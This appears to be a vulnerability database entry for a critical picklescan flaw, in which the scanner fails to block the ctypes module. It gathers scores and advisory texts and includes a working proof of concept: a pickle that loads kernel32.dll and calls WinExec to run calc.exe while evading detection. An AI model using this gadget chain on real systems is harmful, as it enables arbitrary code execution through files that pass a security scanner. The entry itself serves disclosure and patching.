9.3critical
picklescan - Remote Code Execution via Unblocked ctypes Module
- Severity
- 9.3critical CVSS:4.0 by VulnCheck
- Exploit likelihood
- 0.99% (higher than 63% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- VulnCheck
- Also known as
- GHSA-4675-36f9-wf6rPYSEC-2026-1782
Description
picklescan before 0.0.33 fails to block the ctypes module, allowing attackers to achieve remote code execution by invoking direct syscalls and accessing raw memory. Attackers can craft malicious pickle files using ctypes.WinDLL to load kernel32.dll and execute arbitrary commands, bypassing sandbox protections and gadget chain detection.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| picklescan picklescan | before 0.0.33 Not affected: 0.0.33 | CVE List |
| picklescan (PyPI) | before 0.0.33 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| VulnCheck | 9.3critical CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N |
| VulnCheck | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 9.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | high CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P |
| PyPA Advisory Database | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| PyPA Advisory Database | Not scored CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P |
Classification
What each source says
CVE List
picklescan before 0.0.33 fails to block the ctypes module, allowing attackers to achieve remote code execution by invoking direct syscalls and accessing raw memory. Attackers can craft malicious pickle files using ctypes.WinDLL to load kernel32.dll and execute arbitrary commands, bypassing sandbox protections and gadget chain detection.
GitHub Advisory Database
Summary
Picklescan doesnt flag ctypes module as a dangerous module, which is a huge issue. ctypes is basically a foreign function interface library and can be used to
- Load DLLs
- Call C functions directly
- Manipulate memory raw pointers.
This can allow attackers to achieve RCE by invoking direct syscalls without going through blocked modules. Another major issue that ctypes being allowed presents is that it can be used down the line to dismantle interpreter based python sandboxes as ctypes allow direct access to raw memory.
This is a more severe loophole than normal gadget chains and bypasses as raw memory access can be used for a lot of nefarious purposes down the line if left undetected
PoC
import pickle
import ctypes
import operator
class Kernel32Loader:
def __reduce__(self):
#we go direct to the kerneeellllllll
return (ctypes.WinDLL, ("kernel32.dll",))
class WinExecGetter:
def __reduce__(self):
return (operator.itemgetter("WinExec"), (Kernel32Loader(),))
class PopCalc:
def __reduce__(self):
#methodcaller to invoke "__call__" on the function pointer.
return (
operator.methodcaller("__call__", b"calc.exe", 1),
(WinExecGetter(),)
)
try:
payload = pickle.dumps(PopCalc())
with open("calc_exploit.pkl", "wb") as f:
f.write(payload)
print("Generated 'calc_exploit.pkl'")
except Exception as e:
print(f"Generation failed: {e}")
This will create a pickle file which is not detected by the latest version of picklescan as malicious
import pickle
print("Loading bypass.pkl...")
pickle.load(open("calc_exploit.pkl", "rb"))
imageNVD (es)
picklescan anterior a la versión 0.0.33 no logra bloquear el módulo ctypes, permitiendo a los atacantes lograr ejecución remota de código invocando llamadas al sistema directas y accediendo a memoria sin procesar. Los atacantes pueden crear archivos pickle maliciosos utilizando ctypes.WinDLL para cargar kernel32.dll y ejecutar comandos arbitrarios, eludiendo las protecciones de la sandbox y la detección de cadenas de gadgets.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2025-71323 changed 2026-11-08 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-4675-36f9-wf6r changed 2026-07-07 | CC-BY-4.0 |
| NVD | CVE-2025-71323 changed 2026-10-12 | Public domain |
| PyPA Advisory Database | PYSEC-2026-1782 changed 2026-07-07 | CC-BY-4.0 |